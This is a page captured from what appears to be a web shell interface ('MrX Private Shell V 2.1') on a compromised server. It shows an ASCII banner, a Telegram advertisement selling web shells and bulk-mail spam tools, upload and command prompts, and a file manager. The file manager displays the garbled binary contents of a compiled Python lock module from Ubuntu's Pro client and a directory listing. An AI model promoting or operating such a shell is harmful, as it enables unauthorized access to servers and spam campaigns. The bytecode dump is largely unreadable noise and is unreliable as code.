__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵg���B�SSKrSSKrSSKrSSKJr SSKJrJrJr SSK	J
r
JrJr SSK
Jr SSKJrJr SSKJr SSKJr \R,"\R."\55r"S	S
\
5r\"\\"SSS
9\R65rS\\\44SjrSr "SS5r!g)�N)�Tuple)�
exceptions�system�util)�
DataObject�Field�StringDataValue)�notices)�DataObjectFile�DataObjectFileFormat)�UAFile)�Noticec�J�\rSrSr\"S\5\"S\5/rS\S\4SjrSr	g)�LockData��lock_pid�lock_holderc��XlX lg�N�rr)�selfrrs   �//usr/lib/python3/dist-packages/uaclient/lock.py�__init__�LockData.__init__s
�� �
�&��)rrN)
�__name__�
__module__�__qualname__�__firstlineno__rr	�fields�strr�__static_attributes__�rrrrs0��
�j�/�*�
�m�_�-��F�
'��'�3�'rr�lockF)�private�returnc�`�[R5nSnU(dU$URnURn[R"SU/5 [U5U4$![Ra# [R"[R
S9ef=f![Ra� [R"5(d&[RSUU5 [U5U4s$[R!SUU5 [R""[R
5 Us$f=f)z�Return lock info if lock file is present the lock is active.

If process claiming the lock is no longer present, remove the lock file
and log a warning.

:return: A tuple (pid, string describing lock holder)
    If no active lock, pid will be -1.
)�lock_file_path)�����psz.Found stale lock file previously held by %s:%sz1Removing stale lock file previously held by %s:%s)�lock_data_file�readr�InvalidFileFormatError�InvalidLockFile�pathrrr�subp�int�ProcessExecutionErrorr�we_are_currently_root�LOG�debug�warning�ensure_file_absent)�
lock_data_obj�no_lockrrs    r�check_lock_infor;"s��M�&�+�+�-�
��G�����%�%�H��+�+�K�����T�8�$�%��H�
�{�+�+���,�,�M��(�(��8K�8K�L�L�M���+�+���)�)�+�+��I�I�@���
�
��M�;�/�/����?���	
�
	�!�!�.�"5�"5�6����s#�A�$B�7B�AD-�-=D-�,D-c�,�[R5 gr)r,�deleter#rr�clear_lock_file_if_presentr>Ls�����rc�J�\rSrSrSrSSS.S\S\S\4S	jjrS
rSr	Sr
S
rg)�	RetryLock�Pa,
Context manager for gaining exclusive access to the lock file.

Create a lock file if absent. The lock file will contain a pid of the
running process, and a customer-visible description of the lock holder.

The RetryLock will try several times to acquire the lock before giving up.
The number of times to try and how long to sleep in between tries is
configurable.

:param lock_holder: String with the service name or command which is
    holding the lock. This lock_holder string will be customer visible in
    status.json.
:param sleep_time: Number of seconds to sleep before retrying if the lock
    is already held.
:param max_retries: Maximum number of times to try to grab the lock before
    giving up and raising a LockHeldError.
:raises: LockHeldError if lock is held after (sleep_time * max_retries)
�
�)�
sleep_time�max_retriesrrDrEc�(�XlX lX0lgr)rrDrE)rrrDrE�_argss     rr�RetryLock.__init__es��'��$��&�rc�H�[5upUS:�a [R"URUUS9e[R[
[[R"55URS95 [R"[RURS9 g)Nr)�lock_requestr�pidr)�	operation)r;r�
LockHeldErrorrr,�writerr!�os�getpidr
�addr�OPERATION_IN_PROGRESS)rr�cur_lock_holders   r�	grab_lock�RetryLock.grab_lockps���&5�&7�#���a�<��*�*�!�-�-�+���
�
	����c�"�)�)�+�.�D�<L�<L�M�	
�	����(�(��&�&�	
rc�f�[RSUR5 SnUR5 g![R
adn[RSUS-UR5 US-
nXR:�aUe[R"UR5 SnAOSnAff=fM�)Nzspin lock starting for %srz%RetryLock Attempt %d. %s. Spinning...�)r5r6rrTrrM�msgrE�time�sleeprD)r�tries�es   r�	__enter__�RetryLock.__enter__�s����	�	�-�t�/?�/?�@����
0���� ����+�+�
0��	�	�;�U�Q�Y�������
���,�,�,��G��J�J�t���/�/��
0��	s�6�B.�
AB)�)B.c�t�[R5 [R"[R
5 gr)r,r=r
�removerrR)r�	_exc_type�
_exc_value�
_tracebacks    r�__exit__�RetryLock.__exit__�s ���������v�3�3�4r)rrErDN)rrrr�__doc__r!r2rrTr]rdr"r#rrr@r@PsA���0��	'��	'��		'�
�	'�
� 0�"5rr@)"�loggingrOrY�typingr�uaclientrrr�uaclient.data_typesrrr	�uaclient.filesr
�uaclient.files.data_typesrr�uaclient.files.filesr
�uaclient.files.noticesr�	getLogger�replace_top_level_logger_namerr5r�JSONr,r2r!r;r>r@r#rr�<module>rrs����	���-�-�B�B�"�J�'�)�
����:�:�8�D�E��'�z�'� ��
�6�5�!������'��s�C�x��'�T�C5�C5r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager